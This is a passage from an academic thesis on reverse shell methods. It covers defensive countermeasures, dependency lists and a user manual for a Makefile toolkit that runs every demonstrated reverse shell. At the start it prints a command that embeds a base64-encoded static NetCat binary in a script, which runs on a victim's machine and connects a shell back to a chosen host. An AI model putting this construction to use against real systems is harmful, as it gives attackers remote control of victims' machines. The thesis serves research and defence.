encoding. The encoded binary can then be embedded into a simple script that, at
runtime on the victim’s machine, decodes the binary, writes it to a file with execute
permissions, and runs it to establish the reverse connection. Since the embedded binary
is statically compiled, it does not require any shared libraries or external dependencies.
The following example demonstrates exactly this approach.

Command 3.6.1: Embedding a reverse shell in a script using a statically linked NetCat
binary

echo ’cp -p ⟨SHELL⟩ ⟨TMP⟩; echo "’‘base64 ./ncat-static‘’" | base64 -di > ⟨TMP⟩;
⟨TMP⟩ -e ⟨SHELL⟩ ⟨HOST⟩ ⟨PORT⟩’ > ⟨compressed-script⟩

Dependencies: base64

28To be clear, it is required for the build of malware, not as an installed binary on the target’s
system.
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Note: We copy the ⟨SHELL⟩ (written as a path to the binary) into the file ⟨TMP⟩ used for
the decoded NetCat binary. This ensures that the ⟨TMP⟩ file has the execute permission set.
The same effect could be achieved by choosing any existing executable file as the target or
using the standard chmod command to set the appropriate permissions.

The crafted script first copies the ⟨SHELL⟩ binary to a temporary file ⟨TMP⟩ (this is
done only to have execute permission on the ⟨TMP⟩ file). It then decodes the embedded
Base64-encoded contents of the statically compiled NetCat binary (./ncat-static)
into the ⟨TMP⟩ file. Finally, it runs the decoded Netcat binary (in ⟨TMP⟩) with the
-e option to execute the shell, connecting to the specified host and port (see com-
mand 3.1.1). The crafted script is saved as the ⟨compressed-script⟩, which needs to
be executed by the victim.

A cautious reader may notice that the command in command 3.6.1 still has one re-
quirement on the target system – the presence of the base64 utility. However, this
tool is only used to decode the embedded NetCat binary. If base64 is not available,
other encoding/decoding utilities such as hexdump or od for hexadecimal encoding can
be used as alternatives. Since the binary is encoded into text characters, the resulting
command can even be injected directly via command injection techniques, potentially
bypassing the problem of transferring a malware file to the target system.
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Chapter 4

Possible countermeasures and defenses

The previous chapter showcased plenty of options for initializing a reverse shell. It
is almost impossible not to forget any tool or service that could be exploited for a
reverse shell, even in less complex systems. Hence, eliminating the threat of each
method separately (by removing dependencies or trying to limit its usage) is not a
good prevention solution, and more solid and general countermeasures should be taken
instead.

Comprehensive detection and prevention models for reverse shells are the subject of
separate, more specialized research. The primary focus of the thesis was the enu-
meration and demonstration of possible methods. Still, in this chapter, we want to
briefly discuss practical security measures against reverse shell attacks without going
into much detail.

4.1 Passive prevention measures

First, we will talk about passive/static prevention measures, which focus on reducing
the system’s attack surface and minimizing the chances of a reverse shell attack in the
first place. These measures include system configuration, maintenance policies, and
networking policies.

4.1.1 Removing vulnerabilities

A reverse shell cannot be established without exploiting a vulnerability in a system in
the first place. However, the reality is that there is no such thing as flawless software. In
complex environments, eliminating all potential vulnerabilities is an almost impossible
task. It is thus crucial to reduce risk as much as possible through proactive system

49
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maintenance, which includes:

• using reliable (automated) vulnerability scanners,

• keeping all underlying components up to date,

• regularly applying the latest security patches.

Following these practices significantly improves the system’s overall security posture.
These countermeasures are not specific to reverse shell exploitations but are foun-
dational to general cybersecurity hygiene. When focusing on reverse shell scenarios
specifically, we can look for vulnerabilities such as command injection, remote code ex-
ecution (RCE), remote file inclusion (RFI), local file inclusion (LFI), or SQL injections
with command execution.

4.1.2 Required tools and dependency management

While we claimed that limiting the usage of tools capable of a reverse shell is insufficient,
it should not be overlooked. Reducing the number of available tools to only those that
are really necessary should be a common practice, though it rarely is. The more tools
(modules, libraries, etc.) present on the system, the more vulnerabilities we introduce
and the more options attackers have. This strategy is more feasible and primarily
meant for hardened or specialized systems, like production servers with well-defined
roles.

In addition to system tools, third-party libraries and software packages can also in-
troduce significant risk. Poorly maintained or malicious dependencies may contain
vulnerabilities or backdoors that attackers can exploit. We can try to mitigate such
risks by proper dependency management: installing only trusted dependencies from
verified, actively maintained sources, regularly auditing and updating dependencies
to patch known vulnerabilities, scanning dependencies using automated tools, such as
software composition analysis (SCA) solutions [54].

4.1.3 Stringent access control and privilege separation

A core principle in secure systems is least-privilege access control – allowing users/pro-
cesses to do only what they are meant to do and nothing more. This means ensuring
that they operate only with the minimum permissions and capabilities necessary to
fulfill their function. Over-privileged accounts or processes enable privilege escalation,
which may give attackers options for reverse shell execution. Therefore, services should
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always run under dedicated, non-privileged users instead of system-wide or adminis-
trative accounts. Modern operating systems dispose of various mechanisms for decent
access control (ACLs, capabilities, etc.), but are often not fully utilized.

Beyond traditional access control, containerization adds an extra layer of isolation. By
running services in containers with well-defined boundaries, we can prevent a com-
promised application from affecting the host or other containers. Proper container
security practices – such as avoiding root containers, limiting resource access (via sec-
comp, AppArmor, or SELinux), and using signed images – further reduce the attack
surface.

4.1.4 Network and firewall configuration

Previous measures attempted to prevent compromise, but we are never guaranteed
complete security. Therefore, it is equally important to apply network-level restrictions.
Although every system has protection against unsolicited inbound connections, the
outbound connection is usually not limited, which is precisely the case with reverse
shells and the reason they are so popular.

A recommended baseline is to lock down all outbound network connectivity and allow
only explicitly necessary destinations and protocols. However, this can be difficult in
some situations, especially if traffic outside the local network is required. Restrictions
such as allowing only traffic on standard ports or using only selected protocols are not
appropriate measures since an attacker can easily adapt to these.

Hard filtering of unauthorized destination IP addresses could solve this problem, but
it is often unfeasible and can still be bypassed with techniques such as DNS tunneling.
Stateful firewalls may allow more strict policies depending on the network model. Fire-
walls with eBPF (Extended Berkeley Packet Filter) [52] capabilities are also a great
option since they inspect and control network traffic directly in the kernel space. That
means they can apply logic based on contextual information (e.g., process ID, user ID,
socket, command-line arguments), which gives them the capability of blocking not just
IPs and ports but also application-layer behavior.

A good practice is sandboxing services or running them in minimal containers with
no external network access unless required. When required, it is advised to route
communication through a proxy server. A proxy can serve multiple purposes, mainly
separating routing policies and logging traffic for audit or later analysis, in case a
reverse shell attack eventually happens.



52 CHAPTER 4. POSSIBLE COUNTERMEASURES AND DEFENSES

4.2 Active detection

While passive prevention focuses on reducing the attack surface, active detection plays
a role in identifying reverse shell attempts in real time. These mechanisms typically
rely on intrusion detection systems (IDS) that continuously inspect system activity.
From a high-level perspective, reverse shell detection can be based on:

• network monitoring – identifying unusual outbound connections (uncommon IPs
or ports),

• system call tracing – detecting common reverse shell patterns like a shell being
executed shortly after a socket connection is established, and redirection of the
shell’s input and output to the socket,

• process behavior analysis – spotting privilege escalation or execution of inter-
preters by services that typically do not require them.

Modern IDS tools often incorporate signature-based and anomaly-based detection mod-
els. Signature-based systems compare traffic or system behavior against a database of
known attack patterns. Anomaly-based systems use baselines of “normal” behavior to
flag deviations. We can further enhance these tools by integrating security informa-
tion and event management (SIEM) systems to aggregate alerts, correlate events, and
initiate incident response workflows.

We do not intend to go into detail about detection algorithms focused on reverse shell
attacks. However, other works are dedicated to this field, especially in the context
of fileless attacks and living-off-the-land techniques, as we mentioned in section 1.2.
With the rapid advancement of artificial intelligence, machine learning models could
be designed and trained to recognize patterns associated with reverse shells, enabling
more adaptive and real-time detection capabilities, and are an interesting subject for
future work.



Conclusion

In this thesis, we gathered broad range of reverse shell techniques. We covered mostly
methods utilizing standard system tools and language interpreters, but also mentioned
methods of executing reverse shell with own binaries. Our goal was to implement one
or more realistic examples for every method while evaluating minimal dependencies
and other properties. Every command, script, and code sample presented throughout
the thesis was successfully executed on a controlled test system described in chapter 2.
While different operating systems and versions or implementations of command util-
ities may affect the applicability of specific methods, analyzing each combination of
scenarious was far beyond the scope of this thesis.

In addition to the list of methods with technical analysis, we included a brief discussion
of suggested countermeasures and best practices for mitigating or detecting reverse shell
vector attacks in chapter 4. While several detection tools and security mechanisms
already exist, they are not full solution to the problem. Reverse shells can be crafted
in many subtle ways to evade detection, making this an active and evolving field of
research.

To support this research by further testing and experimentation in other environments,
we have constructed a Makefile that includes all the demonstrated techniques. This
setup allows for automation and convenient testing for extended research into how
these reverse shell methods behave under different system configurations.
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Appendix A: Lists of dependencies for
reverse shell methods

Programming languages interpreters

Python

References: code 3.3.1

List of python modules (.py files or whole directories)1:

List 4.1: Python modules used in the Python reverse shell

collections enum keyword reprlib socket

encodings functools operator selectors types

PIP

References: command 3.3.3

List of python modules (.py files or whole directories)2 and loadable objects for some
modules3:

List 4.2: Python modules used in the PIP reverse shell

__future__ mimetypes

_compat_pickle numbers

_distutils_hack opcode

_markupbase optparse

_sysconfigdata__x86_64-linux-gnu pathlib

1usually located in /usr/lib/python<version>/
2usually located in /usr/lib/python<version>/
3usually located in /usr/lib/python<version>/lib-dynload/
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_weakrefset pickle

argparse pip

ast pkgutil

asyncio platform

base64 plistlib

bisect pprint

calendar py_compile

colorsys queue

compileall quopri

concurrent random

configparser re

contextlib setuptools

contextvars shlex

copyreg shutil

copy signal

csv socketserver

dataclasses ssl

datetime stringprep

decimal string

dis struct

email subprocess

filecmp sysconfig

fnmatch tarfile

fractions tempfile

getopt textwrap

getpass threading

glob tokenize

hashlib token

heapq traceback

hmac typing

html urllib

http uuid

importlib warnings

inspect weakref

ipaddress wheel

json xmlrpc

linecache xml

locale zipfile

logging
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List 4.3: Loadable objects used in the PIP reverse shell

_contextvars.cpython-312-x86_64-linux-gnu.so

_decimal.cpython-312-x86_64-linux-gnu.so

mmap.cpython-312-x86_64-linux-gnu.so

Perl

References: code 3.3.2

List of Perl modules (.pm files)4:

List 4.4: Perl modules used in the Perl reverse shell

Carp Exporter strict warnings

Config Socket vars

DynaLoader XSLoader warnings/register

Cpan

References: command 3.3.6

Lists of Perl modules (.pm and .pl files) and loadable objects for some modules 5:

List 4.5: Perl modules used in the Cpan reverse shell

App/Cpan ExtUtils/MakeMaker/Config

B ExtUtils/MakeMaker/version

CPAN/Author ExtUtils/MakeMaker

CPAN/Bundle Fcntl

CPAN/CacheMgr File/Basename

CPAN/Complete File/Copy

CPAN/Debug File/Find

CPAN/DeferredCode File/Path

CPAN/Distribution File/Path

CPAN/Distroprefs File/Spec/Functions

CPAN/Distrostatus File/Spec/Unix

CPAN/Exception/RecursiveDependency File/Spec

CPAN/Exception/yaml_not_installed FileHandle

4should be located in one of directories from @INC array that perl uses to search for module files
5should be located in one of directories from @INC array that perl uses to search for module files
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CPAN/Exception/yaml_process_error Getopt/Std

CPAN/FTP/netrc IO/File

CPAN/FTP IO/Handle

CPAN/FirstTime IO/Seekable

CPAN/HTTP/Credentials IO

CPAN/HandleConfig Net/Ping

CPAN/Index Opcode

CPAN/InfoObj POSIX

CPAN/LWP/UserAgent Safe

CPAN/Mirrors Scalar/Util

CPAN/Module SelectSaver

CPAN/Prompt Symbol

CPAN/Queue Sys/Hostname

CPAN/Shell Term/ReadLine

CPAN/Tarzip Text/ParseWords

CPAN/URL Text/Tabs

CPAN/Version Text/Wrap

CPAN Tie/Hash

Config_git Time/HiRes

Config_heavy autouse

Cwd builtin

DirHandle constant

Errno if

Exporter/Heavy lib

ExtUtils/Liblist/Kid overloading

ExtUtils/Liblist overload

ExtUtils/MM_Any re

ExtUtils/MM_Unix subs

ExtUtils/MM utf8

ExtUtils/MY version

List 4.6: Loadable objects used in the Cpan reverse shell

auto/B/B.so auto/Opcode/Opcode.so

auto/Cwd/Cwd.so auto/POSIX/POSIX.so

auto/Fcntl/Fcntl.so auto/Sys/Hostname/Hostname.so

auto/IO/IO.so auto/re/re.so
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IRB

References: command 3.3.13

Lists of Ruby modules (.rb files)6, loadable objects for some modules, and special
gemspec files 7:

List 4.7: Ruby modules in the IRB reverse shell

delegate

fileutils

forwardable/impl

forwardable

irb/color_printer

irb/color

irb/completion

irb/context

irb/easter-egg

irb/ext/save-history

irb/extend-command

irb/init

irb/input-method

irb/inspector

irb/lc/error

irb/locale

irb/magic-file

irb/output-method

irb/ruby-lex

irb/src_encoding

irb/version

irb/workspace

irb

pp

prettyprint

reline/ansi

reline/config

reline/general_io

reline/history

reline/key_actor/base

6usually located in /usr/lib/ruby/<version>/
7usually located in /usr/lib/ruby/gems/<version>/
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reline/key_actor/emacs

reline/key_actor/vi_command

reline/key_actor/vi_insert

reline/key_actor

reline/key_stroke

reline/kill_ring

reline/line_editor

reline/terminfo

reline/unicode/east_asian_width

reline/unicode

reline/version

reline

ripper/core

ripper/filter

ripper/lexer

ripper/sexp

ripper

rubygems/basic_specification

rubygems/compatibility

rubygems/core_ext/kernel_gem

rubygems/core_ext/kernel_require

rubygems/defaults

rubygems/dependency

rubygems/deprecate

rubygems/errors

rubygems/exceptions

rubygems/path_support

rubygems/platform

rubygems/request_set

rubygems/request_set

rubygems/requirement

rubygems/resolver

rubygems/resolver

rubygems/source

rubygems/specification

rubygems/stub_specification

rubygems/text

rubygems/tsort/lib/tsort

rubygems/tsort
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rubygems/unknown_command_spell_checker

rubygems/util/list

rubygems/util

rubygems/version

rubygems

set

tempfile

timeout

tmpdir

List 4.8: Loadable objects used in the IRB reverse shell

enc/encdb.so io/wait.so ripper.so

io/console.so monitor.so socket.so

List 4.9: Gemspec files used in the IRB reverse shell

gems/irb-1.6.2

specifications/default/irb-1.6.2.gemspec

specifications/default/io-console-0.6.0.gemspec

specifications/default/reline-0.3.2.gemspec

Node.js

References: code 3.3.7

Lists of JavaScript modules (.js files)8:

List 4.10: JavaScript modules used in the Node.js reverse shell

/acorn-walk/dist/walk.js /cjs-module-lexer/lexer.js

/acorn/dist/acorn.js /undici/undici-fetch.js

/cjs-module-lexer/dist/lexer.js

8usually located in /usr/share/nodejs/
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Nashorn

References: code 3.3.8

Additional dynamic libraries 9:

List 4.11: Loadable objects used in the Nashorn reverse shell

libextnet.so libm.so.6

libgcc_s.so.1 libnet.so

libjava.so libnio.so

libjimage.so libstdc++.so.6

libjli.so server/libjvm.so

Julia

References: code 3.3.9

Additional dynamic libraries (apart from those listed with ldd)10:

List 4.12: Dynamic libraries used in the Julia reverse shell

libLLVM-16jl.so libmpfr.so.6

libatomic.so.1 libopenblas64_.so

libblastrampoline.so.5 libopenlibm.so

libgcc_s.so.1 libpcre2-8.so

libgfortran.so.5 libquadmath.so.0

libgmp.so.10 librt.so.1

libjulia-codegen.so.1.11 libstdc++.so.6

libjulia-internal.so.1.11 libunwind.so.8

libjulia.so.1.11 libz.so.1

libm.so.6 sys.so

9should be located in $JAVA_HOME/lib/) or /usr/lib/<architecture>/
10should be located in /lib/ or /lib/julia/, and inside the /snap/ directory when installed with

snap



APPENDIX A 69

C/C++

References: code 3.4.1

Additional dynamic libraries (apart from those listed with ldd for gcc, as and ld)11:

List 4.13: Libraries (static and dynamic) used to compile the C/C++ reverse shell
code

Scrt1.o libc_nonshared.a liblto_plugin.so

crtbeginS.o libgcc.a libm.so.6

crtendS.o libgcc_s.so.1 libmpc.so.3

crti.o libgcc_s.so libmpfr.so.6

crtn.o libgmp.so.10

libc.so libisl.so.23

List 4.14: Header files needed to compile the C/C++ reverse shell code

alloca.h bits/thread-shared-types.h

arpa/inet.h bits/time64.h

asm-generic/bitsperlong.h bits/timesize.h

asm-generic/posix_types.h bits/types.h

asm-generic/socket.h bits/types/__sigset_t.h

asm-generic/sockios.h bits/types/clock_t.h

asm/bitsperlong.h bits/types/clockid_t.h

asm/posix_types.h bits/types/sigset_t.h

asm/posix_types_64.h bits/types/struct_iovec.h

asm/socket.h bits/types/struct_osockaddr.h

asm/sockios.h bits/types/struct_timespec.h

bits/atomic_wide_counter.h bits/types/struct_timeval.h

bits/byteswap.h bits/types/time_t.h

bits/confname.h bits/types/timer_t.h

bits/endian.h bits/typesizes.h

bits/endianness.h bits/uintn-identity.h

bits/environments.h bits/unistd_ext.h

bits/floatn-common.h bits/waitflags.h

bits/floatn.h bits/waitstatus.h

bits/getopt_core.h bits/wordsize.h

bits/getopt_posix.h endian.h

11should be located in /usr/lib/<architecture>/ or /usr/lib/gcc/<architecture>/
<gcc-version>/
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bits/in.h features-time64.h

bits/libc-header-start.h features.h

bits/long-double.h gnu/stubs-64.h

bits/posix_opt.h gnu/stubs.h

bits/pthreadtypes-arch.h linux/posix_types.h

bits/pthreadtypes.h linux/stddef.h

bits/select.h netinet/in.h

bits/sockaddr.h stdc-predef.h

bits/socket.h stddef.h

bits/socket_type.h stdlib.h

bits/stdint-intn.h sys/cdefs.h

bits/stdint-uintn.h sys/select.h

bits/stdlib-float.h sys/socket.h

bits/struct_mutex.h sys/types.h

bits/struct_rwlock.h unistd.h

Java

Additional dynamic libraries 12:

List 4.15: Loadable objects used in the Java reverse shell

libextnet.so libm.so.6

libgcc_s.so.1 libnet.so

libjava.so libnio.so

libjimage.so libstdc++.so.6

libjli.so server/libjvm.so

Golang

References: code 3.4.3

Lists of Golang modules (directories containing .go files and also .s and .h files)13:

List 4.16: Golang modules used to compile and run the Golang reverse shell code

bytes io/fs

cmp io

12should be located in $JAVA_HOME/lib/ or /usr/lib/<architecture>/
13should be located in $GOROOT/src/
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context math/bits

errors math

internal/abi net/netip

internal/bisect net

internal/bytealg os/exec

internal/chacha8rand os

internal/coverage/rtcov path/filepath

internal/cpu path

internal/goarch runtime/internal/atomic

internal/godebugs runtime/internal/math

internal/godebug runtime/internal/syscall

internal/goexperiment runtime/internal/sys

internal/goos runtime

internal/intern slices

internal/itoa sort

internal/nettrace strconv

internal/oserror strings

internal/poll sync/atomic

internal/race sync

internal/reflectlite syscall

internal/safefilepath time

internal/singleflight unicode/utf8

internal/syscall/execenv unicode

internal/syscall/unix unsafe

internal/testlog vendor

internal/unsafeheader
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Appendix B: User manual for Makefile

Makefile toolkit available at: github.com/matusbucher/bachelor-thesis

We designed the Makefile to be as simple to use as possible. First, it needs to be
configured with the desired values for each of the following variables:

⟨HOST⟩ The IP address or domain name to which a reverse shell attempts to con-
nect. (default: 127.0.0.1)

⟨PORT⟩ The port number to which a reverse shell attempts to connect. (default:
4444)

⟨SHELL⟩ The shell used for executing received commands (not available for some
methods). (default: /bin/bash)

⟨PORT2⟩ The second port number, which some methods attempt to connect to. Must
be different from ⟨PORT⟩. (default: 4445)

⟨TMP⟩ The filename for a temporary file or directory used by some methods (e.g.,
creating a named pipeline). It is better if a file with this filename does not
exist, since relevant methods always try to create it. (default: /tmp/f)

To set preferred values for each variable, issue:

./configure [HOST=...] [PORT=...] [SHELL=...] [PORT2=...] [TMP=...]

Fo example:

./configure HOST=127.0.0.1 PORT=4444 TMP=/tmp/f

Only passed arguments will update (those not passed to configure script will not
change). So in the previous example, only ⟨HOST⟩, ⟨PORT⟩, and ⟨TMP⟩ would be updated
to set values, while ⟨SHELL⟩ and ⟨PORT2⟩ would remain as they were (default).

Makefile contains targets for each reverse shell method or listener setup. To list all
these targets as well as the currently used configuration values, issue:
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make show

The listed targets can be used as usual to run related command(s):

make ⟨target⟩

To see the target command(s) without actual execution, issue:

make ⟨target⟩-show

As mentioned, the Makefile also offers commands for listeners that catch reverse shells.
Those only need the ⟨PORT⟩ value (should be the same as in the configured Makefile
on the victim’s side). For most cases, the simple NetCat listener is enough. You can
start it by issuing:

make listener

See chapter 3 for cases requiring a different listener. All special listeners are available
in the Makefile, too.

Some methods may require additional variables, like a PID of the process GDB at-
taches to (see command 3.5.3). Running and showing the method command will print
warnings that those variables were not set. Therefore, we suggest always showing the
command before the execution to avoid undesired (and perhaps damaging) results.
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